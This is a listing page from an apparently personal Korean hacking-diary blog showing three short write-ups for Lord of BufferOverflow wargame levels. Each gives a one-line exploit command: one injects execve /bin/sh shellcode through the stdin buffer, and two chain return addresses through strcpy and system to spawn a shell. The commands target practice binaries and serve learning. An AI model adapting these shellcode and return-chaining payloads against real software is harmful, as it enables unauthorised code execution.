고졸백수해킹일기

nightmare->xavius

(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius 다른 문제와 다르게 fgets으로 받는다 그리고 소스를 보면 ret주소에 스택영역의 주소와 libc주소를 사용하지 못한다따라서 stdin영역을 사용하기로 했다. nop[19] + shellcode[25] + ret[4] (stdin address) throw me away
Wargame/lob 2018. 3. 13. 00:45
succubus->nightmare

./nightmare `python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"a"*32+"\x10\x84\x04\x08"+"aaaa"+"\x00\xfa\xff\xbf"+"\xd0\xf9\xff\xbf"'`0x40 0f bf f9buf{system+dummy+/bin/sh address +dummy 32byte} + strcpy addr + dummy[4] + strcpy ret + buf start addr beg for me
Wargame/lob 2018. 3. 12. 04:13
zombie_assassin->succubus

./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'` buf[40] -> SFP[4]-> DO address -> GAE address -> GUL address -> YUT address -> MO adddress -> dummy[4] -> /bin/sh address -> /bin/sh here to stay
Wargame/lob 2018. 3. 11. 23:24
이전 Prev 1 ··· 23 24 25 26 27 28 29 ··· 47 Next 다음